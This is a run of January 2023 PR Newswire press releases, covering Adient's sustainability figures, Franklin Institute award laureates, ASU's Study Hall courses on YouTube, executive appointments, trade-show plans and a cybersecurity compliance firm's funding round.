Adient has reduced its global scope 1 and 2 absolute CO 2 e emissions [*] by 25%  and its scope 3 absolute CO 2 e emissions by 12% []  as of Sept. 30, 2022 (using 2019 as its base year). Adient's emissions targets  a 75% reduction in absolute scope 1 and 2 emissions at its manufacturing plants by 2030 and a 35% reduction in its scope 3 emissions by 2030  were recently validated by SBTi, affirming Adient has established a clear pathway to achieving its emissions-reduction goals

[*]  and its  as of (using 2019 as its base year). Adient's emissions targets  a 75% reduction in absolute scope 1 and 2 emissions at its manufacturing plants by 2030 and a 35% reduction in its scope 3 emissions by 2030  were recently validated by SBTi, affirming Adient has established a clear pathway to achieving its emissions-reduction goals Adient continued to develop sustainable products through a more circular approach to product design, development and production. The report showcases some of Adient's more recent sustainable innovations, including the award-winning UltraThin seat, Lightweight Shell Foam, Soft Back Panel and Soft Side Valance components and recycled and plant-based trim solutions

through a more circular approach to product design, development and production. The report showcases some of Adient's more recent sustainable innovations, including the award-winning UltraThin seat, Lightweight Shell Foam, Soft Back Panel and Soft Side Valance components and recycled and plant-based trim solutions In fiscal year 2022, Adient completed approximately 1,200 continuous improvement projects at its locations globally that annually conserve:

at its locations globally that annually conserve: 6,092 metric tons of CO 2 e

of CO e

16 million liters of water

of water

25 kWh-equivalent of fuel

of fuel

5,363 metric tons of waste

of waste

42 million kWh of electricity

of electricity As of Sept. 30, 2022 , 14% of Adient's total electricity consumption globally is attributable to renewable sources . As Adient executes its renewable electricity action plan in fiscal year 2023, it will continue investigating and transitioning to fossil-free electricity (e.g., wind, solar, geothermal, hydroelectric, etc.) to further decarbonize its operations

, . As Adient executes its renewable electricity action plan in fiscal year 2023, it will continue investigating and transitioning to fossil-free electricity (e.g., wind, solar, geothermal, hydroelectric, etc.) to further decarbonize its operations All of Adient's wholly owned operational facilities are ISO 14001 (Environmental Management Systems standard)-certified within 18 months from the start of production

within 18 months from the start of production As a participant in the UN Global Compact, Adient remains committed to incorporating the Compact's core principles i nto its strategy, culture and operations. To that end, in 2022 Adient released three supporting documents: Deforestation Policy, Human Rights Policy Statement and DE&I Commitment Statement

nto its strategy, culture and operations. To that end, in 2022 Adient released three supporting documents: Deforestation Policy, Human Rights Policy Statement and DE&I Commitment Statement Out of Adient's full-time salaried employee population globally, 85% completed voluntary DE&I training in fiscal year 2022. Adient launched additional virtual DE&I training earlier this month that focuses on promoting an inclusive work environment

in fiscal year 2022. Adient launched additional virtual DE&I training earlier this month that focuses on promoting an inclusive work environment Adient has spent $7.5 billion with diverse-owned suppliers since becoming Adient in October 2016  that's more than $1 billion each year. Adient continues to achieve its customers' supplier diversity targets and collaborate on initiatives that drive opportunities for diverse-owned suppliers

Visit www.adient.com/about-us/sustainability to view and download Adient's full 2022 Sustainability Report.

About Adient:

Adient (NYSE: ADNT) is a global leader in automotive seating. With 70,000+ employees in 30 countries, Adient operates more than 200 manufacturing/assembly plants worldwide. We produce and deliver automotive seating for all major OEMs. From complete seating systems to individual foam, trim and metal components, our expertise spans every step of the automotive seat-making process. Our integrated, in-house skills allow us to take our products from research and design to engineering and manufacturing  and into millions of vehicles every year. For more information, visit www.adient.com.

Cautionary Statement Regarding Forward-Looking Statements:

This document contains forward-looking statements, within the meaning of the Private Securities Litigation Reform Act of 1995, that involve risks and uncertainties. Forward-looking statements provide current expectations of future events based on certain assumptions and include any statement that does not directly relate to any historical or current fact. Forward-looking statements can also be identified by words such as "future," "anticipates," "believes," "estimates," "expects," "intends," "plans," "predicts," "will," "would," "could," "can," "may," or similar terms. Forward-looking statements are not guarantees of future performance and Adient's actual results may differ significantly from the results discussed in the forward-looking statements. Adient cautions that these statements are subject to numerous important risks, uncertainties, assumptions and other factors, some of which are beyond Adient's control, that could cause Adient's actual results to differ materially from those expressed or implied by such forward-looking statements, including, among others, risks related to: the Ukraine conflict and COVID lockdowns in China and their impact on regional and global economies and additional pressure on supply chains and vehicle production, the effects of local and national economic, credit and capital market conditions on the economy in general, and other risks and uncertainties, the continued financial and operational impacts of and uncertainties relating to the COVID-19 pandemic on Adient and its customers, suppliers, joint venture partners and other parties, work stoppages, including due to supply chain disruptions and similar events, energy and commodity availability and prices, the Company's ability and timing of customer recoveries for increased input costs, the availability of raw materials and component products (including components required by our customers for the manufacture of vehicles (i.e., semiconductors)), whether deleveraging activities may yield additional value for shareholders at all or on the same or different terms as those described herein, the ability of Adient to execute its turnaround plan, automotive vehicle production levels, mix and schedules, as well as our concentration of exposure to certain automotive manufacturers, the ability of Adient to effectively launch new business at forecast and profitable levels, the ability of Adient to meet debt service requirements, the terms of future financing, the impact of tax reform legislation, uncertainties in U.S. administrative policy regarding trade agreements, tariffs and other international trade relations, general economic and business conditions, the strength of the U.S. or other economies, shifts in market shares among vehicles, vehicle segments or away from vehicles on which Adient has significant content, changes in consumer demand, global climate change and related emphasis on ESG matters by various stakeholders, the ability of Adient to achieve its ESG-related goals, currency exchange rates and cancellation of or changes to commercial arrangements, and the ability of Adient to identify, recruit and retain key leadership. A detailed discussion of risks related to Adient's business is included in the section entitled "Risk Factors" in Adient's Annual Report on Form 10-K for the fiscal year ended September 30, 2022, filed with the U.S. Securities and Exchange Commission (the "SEC") on November 22, 2022, and in subsequent reports filed with or furnished to the SEC, available at www.sec.gov. Potential investors and others should consider these factors in evaluating the forward-looking statements and should not place undue reliance on such statements. The forward-looking statements included in this document are made only as of the date of this document, unless otherwise specified, and, except as required by law, Adient assumes no obligation, and disclaims any obligation, to update such statements to reflect events or circumstances occurring after the date of this document.

ADNT-FN

* Scope 1 emissions are Adient's direct greenhouse gas emissions; scope 2 refers to Adient's indirect greenhouse gas emissions associated with the purchase of electricity, steam, heat, or cooling; and scope 3 emissions are Adient's value chain emissions.

 Adient's scope 3 emissions data disclosure is calculated using the GHG Protocol Technical Guidance for Calculating Scope 3 Emissions (version 1.0), which is an industry standard, using Accenture's methodology and relying on/using actual consumption and spend data to calculate scope 3 emissions.

SOURCE Adient
SONOMA, Calif., Jan. 24, 2023 /PRNewswire/ -- Alain Piallat, Founder and Zachary Lawrence, Co-Founder of Valley of the Moon Partners (VOMP), are pleased to announce that Haydn Kramer, with a career including Senior Executive roles with Marriott International and Vice President of Sales and Marketing with Concord Hospitality Enterprises (Raleigh), and across disciplines also serving as Vice President of Operations for Hostmark Hospitality (Chicago)---has accepted a full partnership with The Valley of the Moon Partners.

Haydn Kramer

"Haydn brings a wealth of experience both nationally and internationally, having broad experience in the United States, Canada, and Europe," said Mr. Piallat when making the announcement just prior to the industry's ALIS conference.

Valley of the Moon Partners was created by Piallat and Lawrence in 2020 to provide advisory support to luxury tier hotels recovering from the Pandemic and to offer consultancy to those companies and ownership groups looking for insight on all phases of large capital investment property ventures.

Mr. Piallat is a former Senior Vice President at Marriott International and served as President of Marriott Hotels of Canada. Mr. Lawrence, VOMP co-founder, is the former COO of Beverage Metrics, a technology company dedicated to consistent inventory management and precise financial controls for the hospitality industry.

--Valley of the Moon Partners, LLC founded in Sonoma, California is an international hotel consultancy focusing on luxury tier branded or independent hotels. Experts in Operations, Sales, Marketing, from conception of properties in design to full operational execution. Consulting in the United States, Canada, and Europe VOMP is engaged by investment entities, brands, and private equity interests to assess financial and service experience performance.

----Inquiries: https://valleyofthemoonpartners.com/

Valley of the Moon Partners, LLC

P.O. Box 151, Sonoma, Ca 95476

Media Contact:

Zach Lawrence

707-343-8588

[email protected]

SOURCE Valley of the Moon Partners LLC
SOCIAL EQUITY, SUSTAINABILITY, AND SAFETY  AMONG THE NINE AREAS OF BREAKTHROUGHS AND ADVANCEMENTS BEING CELEBRATED BY THE FRANKLIN INSTITUTE IN PHILADELPHIA, APRIL 24-27, 2023

PRESS KIT

PHILADELPHIA, Jan. 24, 2023 /PRNewswire/ -- The Franklin Institute is proud to announce nine outstanding individuals being honored with a prestigious Franklin Institute Award for their extraordinary scientific, engineering, and business leadership achievements. Among them is Kenneth Frazier, former Chairman and CEO of Merck and co-founder and co-chair of OneTen, a coalition of leading organizations committed to cultivating economic opportunities for Black talent in America. Frazier is the recipient of the 2023 Bower Award for Business Leadership, a recognition that honors leaders in U.S. business who personify outstanding qualities and attainments in leadership, the advancement of sound economic practices, and adherence to the highest ethical standards.

Announcing the 2023 Franklin Institute Awards Laureates. These nine visionaries will be celebrated during a ceremony held on April 27, 2023, at The Franklin Institute. Announcing the 2023 Franklin Institute Awards Laureates: Social Equity, Sustainability, And Safety  Among the nine areas of breakthroughs and advancements in science and industry celebrated by The Franklin Institute In Philadelphia, April 24-27, 2023.

The 2023 Bower Award and Prize for Achievement in Science is presented this year to an individual who has made significant scientific or engineering contributions that have improved infrastructure safety, sustainability, and resilience. Civil and Environmental Engineer Deb Niemeier, P.E., Ph.D., recognized for her continuing research into improving crucial infrastructure decisions that contribute to a more equitable society, is the 2023 recipient. The award comes with a cash prize of $250,000.

Each year, The Franklin Institute awards Benjamin Franklin Medals for transformative advances and global breakthroughs in science and technology, two Bower Awardsone for extraordinary business leadership, another for science achievementand the new Benjamin Franklin NextGen Award, which is presented to an exceptional early-career researcher.

Larry Dubinski, President and CEO of The Franklin Institute, said, "We are proud to continue The Franklin Institute's longtime legacy of recognizing individuals for their contributions to humanity. These extraordinary advancements in areas of such importance as social equity, sustainability, and safety are significantly moving the needle in the direction of positive change and therefore laying the groundwork for a remarkable future."

From capturing the fastest chemical reactions to investigating the effects of climate change, from laying the foundation for today's computer programs to enabling the ultrafast computing of tomorrow, and from elucidating the fundamental properties of matter to uncovering the genetics that guide our largest organ, their scientific breakthroughs have transformed our understanding of the world. These nine visionaries will be celebrated during a ceremony held on April 27, 2023, at The Franklin Institute.

2023 Franklin Institute Awards Laureates

2023 Bower Award and Prize for Achievement in Science

Deb Niemeier, P.E., Ph.D., NAE, University of Maryland, College Park

For pioneering the advancement and application of knowledge at the intersections among infrastructure, environment, public health, and equity through groundbreaking research on transportation systems and climate-related hazards.

2023 Bower Award for Business Leadership

Kenneth C. Frazier , Merck & Co., Inc., Retired; General Catalyst

For his distinguished tenure leading Merck & Co., one of the world's most innovative healthcare companies, including driving breakthrough developments in immuno-oncology, and for his authoritative voice for social equity and expanded access to quality affordable healthcare in underserved communities.

2023 Benjamin Franklin NextGen Award

Monika Schleier-Smith , Ph.D., Stanford University

For groundbreaking research elucidating fundamental properties of matter and energy by using ultracold atoms and their interactions with light.

2023 Benjamin Franklin Medal in Chemistry

Richard N. Zare , Ph.D., Stanford University

For fundamental studies of the dynamics of chemical reactions, including the development of techniques to observe molecules as they react.

2023 Benjamin Franklin Medal in Computer and Cognitive Science

Barbara H. Liskov , Ph.D., Massachusetts Institute of Technology

For seminal contributions to computer programming languages and methodology, enabling the implementation of reliable, reusable programs.

2023 Benjamin Franklin Medal in Earth and Environmental Science

R. Lawrence Edwards , Ph.D., University of Minnesota

For fundamental advances in high-precision methods for dating geologic records of climate change, leading to a more detailed understanding of the earth's climate system over the past million years.

2023 Benjamin Franklin Medal in Electrical Engineering

Nader Engheta , Ph.D., University of Pennsylvania

For transformative innovations in engineering novel materials that interact with electromagnetic waves in unprecedented ways, with broad applications in ultrafast computing and communication technologies.

2023 Benjamin Franklin Medal in Life Science

Elaine Fuchs , Ph.D., The Rockefeller University

For elucidating the genetics of skin diseases and mechanisms that guide skin renewal, yielding insights into aging, inflammation, and cancer.

2023 Benjamin Franklin Medal in Physics

Philip Kim , Ph.D., Harvard University

For pioneering discoveries in the new science of materials composed of single-atom-thick layers, opening the door to a vast array of new technologies.

Since 1824, The Franklin Institute of Philadelphia has honored the legacy of Benjamin Franklin by presenting awards for outstanding achievements in science and industry. The Franklin Institute Awards Program has recognized over 2,000 of the most pioneering scientists, engineers, inventors, and innovators from across the globe.

The Franklin Institute Awards Ceremony will be held on Thursday, April 27, 2023. Bank of America returns in 2023 as the Presenting Sponsor of the Awards Ceremony and Dinner for the 21st consecutive year.

ABOUT THE FRANKLIN INSTITUTE AWARDS

Recognizing extraordinary accomplishments in science and technology since the Institute was founded in 1824, The Franklin Institute Awards remains the oldest comprehensive science and technology awards program in the United States. Honoring extraordinary individuals who shape our world through their groundbreaking achievements in science, engineering, and business, its legacy virtually charts scientific and technological advancement through the past two centuriesfrom the development of the typewriter to the dawn of quantum computing. The honor roll of more than 2,000 Franklin Institute Awards laureates includes Nikola Tesla, Marie and Pierre Curie, Orville Wright, Thomas Edison, Max Planck, Albert Einstein, Frank Lloyd Wright, Stephen Hawking, Gordon Moore, Jane Goodall, Elizabeth Blackburn, Steven Squyres, Bill Gates, Dean Kamen, Subra Suresh, Cornelia Bargmann, Jim Allison, and Frances Arnold. To date, 122 laureates are also Nobel Prize recipients. For more information, visit www.fi.edu/awards.

ABOUT THE FRANKLIN INSTITUTE

Located in the heart of Philadelphia, The Franklin Institute is a renowned and innovative leader in the field of science and technology learning, as well as a dynamic center of activity. As Pennsylvania's most visited museum, it is dedicated to creating a passion for learning about science by offering access to hands-on science education. For more information, visit www.fi.edu.

SOURCE The Franklin Institute
TEMPE, Ariz., Jan. 24, 2023 /PRNewswire/ -- Arizona State University (ASU), Crash Course and YouTube announced that they are partnering to offer a series of online courses for college credit that begin on YouTube. These transferable, credit-bearing courses are a significant expansion of the current Study Hall collaboration between the three organizations, which is aimed at breaking down barriers  including accessibility and cost  to open flexible new pathways to high-quality education.

In a recent survey , high school graduates who did not go on to college or left a two-year or four-year college program cited high cost, stress associated with college, and uncertainty about majors and future careers as top reasons for not going or leaving. Half of these individuals say they feel underprepared to succeed in college and the majority say that having more flexibility in degree programs that fit their life would be helpful in getting a degree.

Study Hall offers a comprehensive solution for learners to begin earning credit for their first year of study at a time and place that is convenient for them. Starting today, students can sign up for four Study Hall courses called "College Foundations" that will begin on March 7, 2023.

College Foundations is a suite of the most common first-year college courses and are essential components of the first-year general education curriculum at most higher- education institutions. The first four courses are English Composition, College Math, US History, and Human Communication. Learners begin by watching course content on the Study Hall YouTube channel, and if they're interested in formal coursework beyond the videos, they can sign-up to participate in full online courses at ASU led by the same award-winning faculty that teach all ASU courses. Courses run for seven weeks.

Learners will complete coursework and interact directly with other students and faculty. For an optional fee, learners can receive college credit that can be applied toward certificates and degrees at ASU and at most U.S. colleges and universities. Study Hall is slated to have 12 courses available by January 2025. This gives learners a chance to receive credit for their entire first year of college from a top public research university at a time and place that is convenient for them.

Study Hall videos are available to watch at no cost. There will be a $25 fee if the student elects to sign up and begin coursework, and a $400 fee to receive credit for each course. Learners who register before March 7, 2023, will receive special scholarship pricing of $350 per course. Each course can be taken more than once, and learners pay for credit only when they are satisfied with their grade. This credit can then be used at any institution that accepts ASU credits. This is less than one-third of the average course cost at a public four-year university for in-state students and nearly 90% lower than the average course cost of a private four-year university.

Study Hall is available to any learner looking to pursue a college degree, including the 55 million college hopefuls and early college students in the United States. Learners can watch Study Hall videos on either YouTube or the Study Hall website and choose whether or not to pursue college credit for the courses.

"Study Hall is an easily accessible place for learners and families to get a jump-start on college  from planning on how and where to go, to actually earning college credits," said Arizona State University President Michael M. Crow. "Through the power of partnerships and technology, we continue to find new ways to break down barriers and create new pathways to higher education."

"YouTube is where the world comes to learn," said Susan Wojcicki, CEO of YouTube. "By partnering with ASU and Crash Course, we are excited to use our platform to give learners the tools they need to pursue higher education while also making the path more accessible and affordable in the process." Wojcicki added, "With ASU's commitment to innovation, access, and excellence, Crash Course's experience in producing high quality educational content, and YouTube's enormous global community, we believe this Study Hall partnership will break down barriers to learning and achievement."

Designed and taught by the same faculty who conduct research and teach students on ASU's campuses, Study Hall courses and videos reflect ASU's academic excellence. Produced by the team that created Crash Course , Study Hall videos delight learners with an engaging narrative that enhances foundational academic material. Study Hall brings the rigor of world-class faculty together with Crash Course's track record of compelling storytelling and YouTube's universally accessible platform.

"Crash Course and ASU are dedicated to providing high-quality educational content for an online global community, and we are excited that this partnership will provide the opportunity to earn college credit," said Hank Green, science communicator and co- founder of Crash Course. "Since the launch of Study Hall, it has become the destination for college hopefuls to understand how to navigate higher education, explore majors and fields of study, and get an early start on foundational topics. In partnership with YouTube and a top public research university, we can light up a pathway from an informal love of learning to a more formal academic environment."

Study Hall also provides learners with content designed to assist them with the college application process and building a foundation for college-level learning, including:

"How to College" videos that help learners navigate the college application process and stay on track once they've begun their higher education journey.

"Fast Guides", which include information about dozens of the most popular college majors, including the classes learners have to take to complete those majors and the career prospects they have after graduation.

Contact: Katie Paquet, ASU, [email protected]

Nina Knight, YouTube, [email protected]

About Arizona State University

Arizona State University has developed a new model for the American research university, creating an institution that is committed to access, excellence and impact. ASU measures itself by those it includes, not by those it excludes. As the prototype for a New American University, ASU pursues research that contributes to the public good, and ASU assumes major responsibility for the economic, social and cultural vitality of the communities that surround it.

About YouTube

Launched in May 2005, YouTube's mission is to give everyone a voice and show them the world. We believe that everyone deserves to have a voice, and that the world is a better place when we listen, share and build community through our stories. YouTube is a Google company.

About Crash Course

Launched in 2012 by celebrated authors and internet creators John Green and Hank Green , Crash Course has published over 1,400 engaging videos on subjects like World History, Literature, Chemistry, Psychology, and Philosophy. With its enthusiastic audience of students, teachers, and lifelong learners, and partnerships with PBS, National Science Foundation, and more, Crash Course has garnered 14.4 million subscribers on YouTube and 1.75 billion views. Crash Course is a production of Complexly , whose mission is to create trustworthy stuff that inspires curiosity and lowers barriers to knowledge building.

SOURCE Arizona State University
LAUDERDALE LAKES, Fla., Jan. 24, 2023 /PRNewswire/ -- Officials at Catholic Health Services announced the appointment of Arnaldo Rodriguez-Yumet, JD, CEC as the new Vice President of Human Resources, effective immediately.

Arnaldo Rodriguez-Yemet, JD, CEC

Mr. Rodriguez-Yumet joins the organization with over 30 years of experience in human resources across diverse business lines and multicultural environments. He has held distinguished leadership positions in our community, most recently at ChenMed Healthcare where he oversaw the talent management agenda for clinics across 14 states in the past 4 years. He was also responsible for encompassing approximately 1K employees, including 400+ clinicians and non-clinical workforce.

He is a native of Puerto Rico and earned his Juris Doctor (JD) School of Law at Interamerican University, San Juan, PR. Mr. Rodriguez-Yumet is a highly skilled strategic business executive who helped lead several organizations through significant growth and expansion. During his career he has implemented best in class programs for staff development around organizational levels from new hires to senior executives.

"In addition to his impressive background and expertise, Mr. Rodriguez-Yumet brings strong organizational, analytical and interpersonal skills to his new role" said Ardy Pallin, President and Chief Executive Officer of CHS. "We are very pleased to have him join our team."

Catholic Health Services is the largest integrated post-acute care health care system in the southeast, and includes four skilled nursing centers, three medical rehabilitation hospitals, two home health agencies, two assisted living facilities, hospice, seventeen government-subsidized housing properties for the independent low-income elderly, two Catholic cemeteries and five centers providing early childhood education. For more information  www.catholichealthservices.com

Contact:

Maria A. Miranda

CHS, VP Public Relations

(954) 484-1515

SOURCE Catholic Health Services
LA CROSSE, Wis., Jan. 24, 2023 /PRNewswire/ -- Authenticom, Inc., a leading data solutions provider known for services like DealerVault, ContactVia, and RecordRecharge, will exhibit at the 2023 National Automotive Dealers Association (NADA) show in Dallas, Texas.

From January 27th through 29th, Authenticom will welcome NADA attendees to booth #5649 for first-hand access to the latest updates, enhancements, and automotive data solutions. Attendees will have the opportunity to meet with data experts to pinpoint growth opportunities that increase ROI and enhance customers relationships.

"This past year has been very exciting for Authenticom. We've worked hand-in-hand with our dealer and vendor partners to find data solutions that support their business needs and help them realize significant growth. As a result, we now support nearly 15,000 dealerships. We look forward to having conversations with fellow attendees about what they need to streamline their business operations to create massive success through a partnership with Authenticom. I can't wait to talk to individuals about how our new solutions can help identify their most valuable clients upfront and create the kind of customer relationships that last," said Michelle Phelps, Director of Sales.

Authenticom will feature demonstrations for:

DealerVault

As the leading product in the automotive industry that's embraced by dealers, vendors and OEM's alike, DealerVault helps dealers manage data their way. The simple interface provides full transparency and control, meaning dealers can turn on the data feeds that support their vendor partnerships quickly and easilyall with data control down to the field level and transparent reporting. Vendors can easily connect to dealer data, monitor their active and pending feeds, update settings, and have visibility into their current setups.

ContactVia

Fuel real and lasting customer communication strategies through preference management. Through ContactVia, customers opt-in to identify their preferred communication style, such as email, text, or physical mail. Preferences are then readily available for dealers and their vendor partners to grow customer relationships.

RecordRecharge

Clean, accurate data helps to target the right customers and reach business goals. RecordRecharge services such as vehicle owner verification, phone and email append, and address validation, offer simple and cost-efficient data hygiene solutions that deliver the highest possible ROI.

To learn how Authenticom can help and to schedule a demonstration, visit: https://drive.authenticom.com/nada2023

About Authenticom

Since its launch in 2002, Authenticom has maintained a true "customer first" position. As a privately held and fully independent company, Authenticom is not tied to specific OEMs or group operations. And, as a leader in data management services, has expanded its family of products to support the changing environment surrounding data. Authenticom's mission is to connect the world to data through visibility, transparency, and control. This allows organizations to leverage the power of data to drive their business operations.

Media Contact:

Amanda Walters, Marketing Specialist

[email protected]

866-289-3283 x1145

SOURCE Authenticom, Inc.
Visitors join residents to raise funds to fight cancer

NASSAU, Bahamas, Jan. 24, 2023 /PRNewswire/ -- Bahamas Hope Challenge (BHC) returns to Eleuthera from March 10-12, for its annual fundraiser with the goal of adding to the more than $4 million it has raised toward fighting cancer in The Bahamas over the past 17 years.

Glass Window Bridge, Eleuthera, Bahamas.

When it was formed in 2006, BHC set out on a mission to raise hope and resources to help Bahamians in their fight against cancer. The organisation enlists ordinary people from all walks of life to make this happen. Each spring, benefactors gather on the beautiful island of Eleuthera to cycle, run, or walk distances of their own choosing. At the same time, they raise funds from friends and family for the cause.

Eleuthera's Queen's Highway, with its rolling elevations and breathtaking vistas to the sea, lends itself perfectly to the event. More than 4,200 participants have traversed the highway as part of BHC to add to the funds raised.

"Every year, every dollar they raise goes to programmes," said Susan Larson, BHC's executive director. "BHC is very proud of this charitable gold standard it has maintained.

"Participating in the annual Bahamas Hope Challenge is a meaningful way to make travel matter. Participation provides travellers with the opportunity to visit Eleuthera  a stunning destination in its own right  while also offering the opportunity to make a real contribution to The Bahamas, to Bahamians fighting cancer."

Ms. Larson said more travellers want to make contributions to the places they visit, as pointed out by publications quoting Merrill Lynch wealth managers and Pauline Frommer of Frommer's Travel Guides. She added that Ms. Frommer revealed that many travellers want to leave a destination better off than they met it.

"There are many ways to do this, but certainly, none is as compelling as helping to save lives," Ms. Larson said.

Individuals or groups interested in participating in BHC should visit bahamashopechallenge.com and follow the registration process. Members of teams do not have to participate in the same way. One or some of them may run while others cycle or walk. There is a fundraising minimum of $500 per person. The minimum also applies to all individuals on teams.

ABOUT THE BAHAMAS

The Bahamas has over 700 islands and cays, as well as 16 unique island destinations. Located only 50 miles off the coast of Florida, it offers a quick and easy way for travellers to escape their everyday. The island nation also boasts world-class fishing, diving, boating and thousands of miles of the Earth's most spectacular beaches for families, couples and adventurers to explore. See why It's Better in The Bahamas at www.bahamas.com or on Facebook, YouTube or Instagram.

PRESS INQUIRIES

Clarence Rolle

Bahamas Ministry of Tourism, Investments & Aviation

[email protected]

SOURCE The Bahamas Ministry of Tourism, Investments & Aviation
Enzyme feed innovations support animal wellbeing, and farmer sustainability and productivity efforts

ATLANTA, Jan. 24, 2023 /PRNewswire/ -- At the IPPE fair in Atlanta, BASF and Cargill today announced their expanded cooperation, adding the United States (US) to their existing feed enzymes development and distribution agreement. Together, the two companies are committed to bringing innovative enzyme-based solutions to the market, generating distinctive value for animal feed customers. By combining the enzyme research and development strengths of BASF with Cargill's know-how in application and broad market reach, the partners will form a joint innovation pipeline for animal protein producers.

BASF

With the expanded geographical reach, BASF and Cargill aim to bring the voice and commercial insights of US protein producers to craft the next generation of enzymes jointly. Through this next stage of collaboration, BASF and Cargill strive to deliver solutions that address productivity, sustainability, and cost challenges for US customers.

"We are delighted further to strengthen our relationship with our US customers and BASF," said Mariano Berdegue, the North America regional managing director for Cargill's animal nutrition business. "The collaboration will provide more animal feed customers with access to a wide range of high-performance enzyme solutions that we have seen reduce nutrient waste, improve feed efficiency, and sustainably promote animal performance."

In 2021, BASF and Cargill moved the relationship beyond pure distribution agreements into the joint development of new enzyme technologies and applications. This extended partnership builds upon the successful go-to-market collaboration between the companies across Argentina, Brazil, Mexico, Portugal, Spain, the Middle East, and Africa. As part of the partnership, BASF and Cargill will co-develop, produce, market, and sell customer-centric enzyme products and solutions.

"With the expansion of our collaboration to the US, we continue to build our joint success story. We are proud to be on this journey with Cargill to increase further the value creation opportunities for animal feed customers," adds Gisele Santos Bin, Global Sales Director Feed Enzymes & Feed Performance Ingredients at BASF.

BASF and Cargill are excited to expand their partnership and bring scientific excellence and animal nutrition expertise to drive customer success.

About BASF

At BASF, we create chemistry for a sustainable future. We combine economic success with environmental protection and social responsibility. Around 111,000 employees in the BASF Group contribute to the success of our customers in nearly all sectors and almost every country in the world. Our portfolio comprises six segments: Chemicals, Materials, Industrial Solutions, Surface Technologies, Nutrition & Care and Agricultural Solutions. BASF generated sales of 78.6 billion in 2021. BASF shares are traded on the stock exchange in Frankfurt (BAS) and as American Depositary Receipts (BASFY) in the U.S. Further information at www.basf.com.

About Cargill

Cargill helps the world's food system work for you. We connect farmers with markets, customers with ingredients and families with daily essentials - from the foods they eat to the floors they walk on. Our 155,000 team members around the world innovate with purpose, empowering our partners and communities as we work to nourish the world in a safe, responsible, sustainable way.

From feed that reduces methane emissions to waste-based renewable fuels, the possibilities are boundless. But our values remain the same. We put people first. We reach higher. We do the right thing. It's how we've met the needs of the people we call neighbors and the planet we call home for 157 years - and how we'll do so for generations to come. For more information, visit Cargill.com and our News Center.

SOURCE Cargill, Inc.
Company cofounder to discuss use of artificial intelligence and machine learning applications for precision medicine in neurology

BOSTON, Jan. 24, 2023 /PRNewswire/ -- Beacon Biosignals CEO and co-founder Jacob Donoghue, MD, Ph.D., will be speaking at the Precision Medicine World Conference (PMWC) 2023 being held in Silicon Valley from Jan. 25-27, the company announced today.

The PMWC is the foremost precision medicine conference, bringing together more than 2,500 recognized leaders, top global researchers, medical professionals and innovators in an effort to accelerate the development and spread of precision medicine. It provides a forum for the exchange of information about the latest advances in technology, clinical implementation, research, and in all aspects related to the regulatory and reimbursement sectors.

Dr. Donoghue will be part of a panel session titled "AI/ML Applications for Patient Outcomes Prediction and Clinical Support" on Friday, Jan. 27, from 1 to 2 p.m. at the Santa Clara Convention Center in Santa Clara, Calif. This session is part of Track 2 (AI & Data Sciences in Drug Discovery & Clinical Research) on Day 3 of the annual conference.

The panel will be moderated by Alex Sherman, a principal associate in Neurology at Harvard Medical School and director of the Center for Innovation and Bioinformatics at the Neurological Clinical Research Institute at Massachusetts General Hospital (MGH). In addition to Dr. Donoghue, confirmed panelists include:

Indu Navar , EverythingALS

, EverythingALS Nuray Yurt, Novartis Oncology

Marie Abele Bind, MGH/ Harvard Medical School

Dr. Donoghue completed his medical degree from the Health Sciences & Technology program at Harvard Medical School and his Ph.D. in neuroscience from MIT, where his research focused on computational neurophysiology and the effects of neuroactive compounds on brain network activity. He co-founded Beacon Biosignals in 2019.

Dr. Donoghue will discuss Beacon's progress using machine learning to analyze epileptiform burden and sleep endpoints derived from electroencephalogram (EEG) recordings. Stratifying patients based on these insights provides a more detailed understanding of a patient's condition, and can lead to more targeted and effective treatment plans.

The world's leading computational neurodiagnostics company, Beacon harnesses machine learning that unlocks the power of EEG data to advance precision medicines for neurologic and psychiatric disorders.

About Beacon Biosignals

Beacon's machine learning platform for EEG enables and accelerates new treatments that transform the lives of patients with neurological, psychiatric or sleep disorders. Through novel machine learning algorithms, large clinical datasets, and advances in software engineering, Beacon Biosignals empowers biopharma companies with unparalleled tools for efficacy monitoring, patient stratification, and clinical trial endpoints from brain data. For more information, visit https://beacon.bio/. For careers, visit https://beacon.bio/careers; for partnership inquiries, visit https://beacon.bio/contact. Follow us on Twitter (@Biosignals) or LinkedIn (https://www.linkedin.com/company/beacon-biosignals).

MEDIA CONTACT

Megan Moriarty

Amendola Communications for Beacon Biosignals

913.515.7530

[email protected]

SOURCE Beacon Biosignals
MINNEAPOLIS and DALLAS, Jan. 23, 2023 /PRNewswire/ -- Beryllium InfoSec, Inc., an industry leading provider of secure virtual enclaves and compliance advisory services to the Defense Industrial Base ("DIB"), announced today that they have received a significant investment from Bema Capital Investments, a Dallas-based private equity firm.

Beryllium InfoSec and Cuick Trac Secure Sizable Investment from Bema Capital

The investment accelerates Beryllium's growth strategy focused on their popular Cuick Trac solution and serves to further their mission to help secure the Defense Industrial Base and federal contractors against adversaries. The company will continue to be led by Co-Founders Derek White (Chief Product Officer) and Eric Power (Chief Growth Officer), with Lincoln Neely of Bema Capital joining the business as Chief Executive Officer.

"Small-mid government contractors need to be cyber-compliant with confidence and without breaking the bank. After over a year of research, it's clear that Beryllium's Cuick Trac enclave for CMMC is the leading and most complete answer to that problem." Lincoln Neely

Since 2018, Beryllium's team of NIST security experts have continued to engineer Cuick Trac, a privately hosted, managed and secure virtual enclave, purpose built for NIST SP 800-171, which saves the average DoD contractor substantial amounts on their implementation and documentation costs.

Cybersecurity is now a foundational piece of doing business with the DOD, and with rising pressure from the DoD and prime contractors relating to the rollout of Cybersecurity Maturity Model Certification (CMMC), the cost of doing business with DoD continues to increase. Tens of thousands of defense contractors are either currently, or will soon be, required to prove they meet the security requirements for handling Controlled Unclassified Information (CUI).

"We created Cuick Trac out of necessity for small to mid-size organizations within the DIB, because NIST 800-171 is more than just 'secure email', it's much more than that. The supply chain needs to become secure AND compliant, but the solutions available to the market, need to be affordable and practical, while giving the DIB confidence in their implementation and compliance program ." - Derek White and Eric Power

Beryllium InfoSec Inc. now has offices in both Minneapolis, MN and Dallas, TX. Beryllium will be scaling up and hiring CMMC professionals both locally, and virtually across the United States immediately, to handle business growth and expand the company's capabilities.

About Beryllium

About Cuick Trac

About Bema Capital



SOURCE Beryllium InfoSec, Inc.
Blue Line Aviation announces the $100,000 Fly Right Scholarship to be given to a local public school graduate.

